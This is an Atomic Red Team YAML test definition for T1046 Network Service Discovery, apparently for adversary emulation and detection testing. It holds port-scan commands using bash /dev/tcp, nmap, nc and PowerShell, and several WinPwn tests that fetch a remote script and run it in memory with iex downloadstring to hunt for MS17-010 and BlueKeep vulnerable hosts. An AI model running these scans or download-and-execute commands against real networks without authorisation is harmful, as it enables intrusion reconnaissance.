Atomic Red Team doc generator
308 lines
13 KiB
YAML
308 lines
13 KiB
YAML
attack_technique: T1046
|
|
display_name: Network Service Discovery
|
|
atomic_tests:
|
|
- name: Port Scan
|
|
auto_generated_guid: 68e907da-2539-48f6-9fc9-257a78c05540
|
|
description: |
|
|
Scan ports to check for listening ports.
|
|
|
|
Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
|
|
supported_platforms:
|
|
- linux
|
|
- macos
|
|
input_arguments:
|
|
host:
|
|
description: Host to scan.
|
|
type: string
|
|
default: 192.168.1.1
|
|
executor:
|
|
command: |
|
|
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
|
|
name: bash
|
|
- name: Port Scan Nmap
|
|
auto_generated_guid: 515942b0-a09f-4163-a7bb-22fefb6f185f
|
|
description: |
|
|
Scan ports to check for listening ports with Nmap.
|
|
Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
|
|
supported_platforms:
|
|
- linux
|
|
- macos
|
|
input_arguments:
|
|
host:
|
|
description: Host to scan.
|
|
type: string
|
|
default: 192.168.1.1
|
|
port:
|
|
description: Ports to scan.
|
|
type: string
|
|
default: "80"
|
|
network_range:
|
|
description: Network Range to Scan.
|
|
type: string
|
|
default: 192.168.1.0/24
|
|
dependency_executor_name: sh
|
|
dependencies:
|
|
- description: |
|
|
Check if nmap command exists on the machine
|
|
prereq_command: |
|
|
if [ -x "$(command -v nmap)" ]; then exit 0; else exit 1; fi;
|
|
get_prereq_command: |
|
|
(which yum && yum -y install epel-release nmap)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y nmap)||(which pkg && pkg install -y nmap)
|
|
- description: |
|
|
Check if nc command exists on the machine
|
|
prereq_command: |
|
|
if [ -x "$(command -v nc)" ]; then exit 0; else exit 1; fi;
|
|
get_prereq_command: |
|
|
(which yum && yum -y install epel-release nc)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y netcat)||(which pkg && pkg install -y netcat)
|
|
- description: |
|
|
Check if telnet command exists on the machine
|
|
prereq_command: |
|
|
if [ -x "$(command -v telnet)" ]; then exit 0; else exit 1; fi;
|
|
get_prereq_command: |
|
|
(which yum && yum -y install epel-release telnet)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y telnet)
|
|
executor:
|
|
command: |
|
|
sudo nmap -sS #{network_range} -p #{port}
|
|
telnet #{host} #{port}
|
|
nc -nv #{host} #{port}
|
|
name: sh
|
|
elevation_required: true
|
|
- name: Port Scan NMap for Windows
|
|
auto_generated_guid: d696a3cb-d7a8-4976-8eb5-5af4abf2e3df
|
|
description: Scan ports to check for listening ports for the local host 127.0.0.1
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
nmap_url:
|
|
description: NMap installer download URL
|
|
type: url
|
|
default: https://nmap.org/dist/nmap-7.80-setup.exe
|
|
host_to_scan:
|
|
description: The host to scan with NMap
|
|
type: string
|
|
default: 127.0.0.1
|
|
dependency_executor_name: powershell
|
|
dependencies:
|
|
- description: |
|
|
NMap must be installed
|
|
prereq_command: 'if (cmd /c "nmap 2>nul") {exit 0} else {exit 1}'
|
|
get_prereq_command: |
|
|
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
|
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nmap-7.80-setup.exe" #{nmap_url}
|
|
Start-Process "PathToAtomicsFolder\..\ExternalPayloads\nmap-7.80-setup.exe" /S
|
|
executor:
|
|
command: |-
|
|
nmap #{host_to_scan}
|
|
name: powershell
|
|
elevation_required: true
|
|
- name: Port Scan using python
|
|
auto_generated_guid: 6ca45b04-9f15-4424-b9d3-84a217285a5c
|
|
description: |
|
|
Scan ports to check for listening ports with python
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
host_ip:
|
|
description: Host to scan.
|
|
type: string
|
|
default: 127.0.0.1
|
|
filename:
|
|
description: Location of the project file
|
|
type: path
|
|
default: PathToAtomicsFolder\T1046\src\T1046.py
|
|
dependency_executor_name: powershell
|
|
dependencies:
|
|
- description: |
|
|
Check if python exists on the machine
|
|
prereq_command: |
|
|
if (Get-Command py -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
|
|
get_prereq_command: |
|
|
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
|
|
invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe"
|
|
Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait
|
|
executor:
|
|
command: |
|
|
python "#{filename}" -i #{host_ip}
|
|
name: powershell
|
|
- name: WinPwn - spoolvulnscan
|
|
auto_generated_guid: 54574908-f1de-4356-9021-8053dd57439a
|
|
description: Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
|
spoolvulnscan -noninteractive -consoleoutput
|
|
name: powershell
|
|
- name: WinPwn - MS17-10
|
|
auto_generated_guid: 97585b04-5be2-40e9-8c31-82157b8af2d6
|
|
description: Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
|
MS17-10 -noninteractive -consoleoutput
|
|
name: powershell
|
|
- name: WinPwn - bluekeep
|
|
auto_generated_guid: 1cca5640-32a9-46e6-b8e0-fabbe2384a73
|
|
description: Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
|
bluekeep -noninteractive -consoleoutput
|
|
name: powershell
|
|
- name: WinPwn - fruit
|
|
auto_generated_guid: bb037826-cbe8-4a41-93ea-b94059d6bb98
|
|
description: Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
|
fruit -noninteractive -consoleoutput
|
|
name: powershell
|
|
- name: Network Service Discovery for Containers
|
|
auto_generated_guid: 06eaafdb-8982-426e-8a31-d572da633caa
|
|
description: Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.
|
|
supported_platforms:
|
|
- containers
|
|
dependency_executor_name: sh
|
|
dependencies:
|
|
- description: Verify docker is installed.
|
|
prereq_command: |
|
|
which docker
|
|
get_prereq_command: |
|
|
if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi
|
|
|
|
- description: Verify docker service is running.
|
|
prereq_command: |
|
|
sudo systemctl status docker --no-pager
|
|
get_prereq_command: |
|
|
sudo systemctl start docker
|
|
executor:
|
|
command: |-
|
|
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
|
|
docker run --name t1046_container --rm -d -t t1046
|
|
docker exec t1046_container /scan.sh
|
|
cleanup_command: |-
|
|
docker stop t1046_container
|
|
docker rmi -f t1046
|
|
name: sh
|
|
- name: Port-Scanning /24 Subnet with PowerShell
|
|
auto_generated_guid: 05df2a79-dba6-4088-a804-9ca0802ca8e4
|
|
description: |
|
|
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask.
|
|
The connection attempts to use a timeout parameter in milliseconds to speed up the scan. Please note the atomic might not print any output until the scans are completed.
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
ip_address:
|
|
description: IP-Address within the target subnet. Default is empty and script tries to determine local IP address of attacking machine. A comma separated list of targe IPs is also accepted (useful to simulate a wider scan while only scanning key host e.g., honeypots)
|
|
type: string
|
|
default: ""
|
|
port_list:
|
|
description: Comma separated list of ports to scan
|
|
type: string
|
|
default: "445, 3389"
|
|
timeout_ms:
|
|
description: Connection timeout in milliseconds
|
|
type: string
|
|
default: "200"
|
|
executor:
|
|
command: |-
|
|
$ipAddr = "#{ip_address}"
|
|
if ($ipAddr -like "*,*") {
|
|
$ip_list = $ipAddr -split ","
|
|
$ip_list = $ip_list.ForEach({ $_.Trim() })
|
|
Write-Host "[i] IP Address List: $ip_list"
|
|
|
|
$ports = #{port_list}
|
|
|
|
foreach ($ip in $ip_list) {
|
|
foreach ($port in $ports) {
|
|
Write-Host "[i] Establishing connection to: $ip : $port"
|
|
try {
|
|
$tcp = New-Object Net.Sockets.TcpClient
|
|
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
|
|
} catch {}
|
|
if ($tcp.Connected) {
|
|
$tcp.Close()
|
|
Write-Host "Port $port is open on $ip"
|
|
}
|
|
}
|
|
}
|
|
} elseif ($ipAddr -notlike "*,*") {
|
|
if ($ipAddr -eq "") {
|
|
# Assumes the "primary" interface is shown at the top
|
|
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
|
|
Write-Host "[i] Using Interface $interface"
|
|
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
|
|
}
|
|
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
|
|
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
|
|
# Always assumes /24 subnet
|
|
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
|
|
|
|
$ports = #{port_list}
|
|
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
|
|
|
|
foreach ($ip in $subnetIPs) {
|
|
foreach ($port in $ports) {
|
|
try {
|
|
$tcp = New-Object Net.Sockets.TcpClient
|
|
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
|
|
} catch {}
|
|
if ($tcp.Connected) {
|
|
$tcp.Close()
|
|
Write-Host "Port $port is open on $ip"
|
|
}
|
|
}
|
|
}
|
|
} else {
|
|
Write-Host "[Error] Invalid Inputs"
|
|
exit 1
|
|
}
|
|
name: powershell
|
|
- name: Remote Desktop Services Discovery via PowerShell
|
|
auto_generated_guid: 9e55750e-4cbf-4013-9627-e9a045b541bf
|
|
description: |
|
|
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
|
|
name: powershell
|
|
elevation_required: true
|
|
- name: Port Scan using nmap (Port range)
|
|
auto_generated_guid: 0d5a2b03-3a26-45e4-96ae-89485b4d1f97
|
|
description: |
|
|
Scan multiple ports to check for listening ports with nmap
|
|
supported_platforms:
|
|
- linux
|
|
- macos
|
|
input_arguments:
|
|
host:
|
|
description: Host(s) to scan.
|
|
type: string
|
|
default: "127.0.0.1"
|
|
port_range:
|
|
description: Port range(s) to scan.
|
|
type: string
|
|
default: "0-65535"
|
|
dependency_executor_name: sh
|
|
dependencies:
|
|
- description: |
|
|
Check if nmap command exists on the machine
|
|
prereq_command: |
|
|
if [ -x "$(command -v nmap)" ]; then exit 0; else exit 1; fi;
|
|
get_prereq_command: |
|
|
(which yum && yum -y install epel-release nmap)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y nmap)||(which pkg && pkg install -y nmap)||(which brew && brew install nmap)
|
|
executor:
|
|
command: |
|
|
nmap -Pn -sV -p #{port_range} #{host}
|
|
elevation_required: true
|
|
name: sh |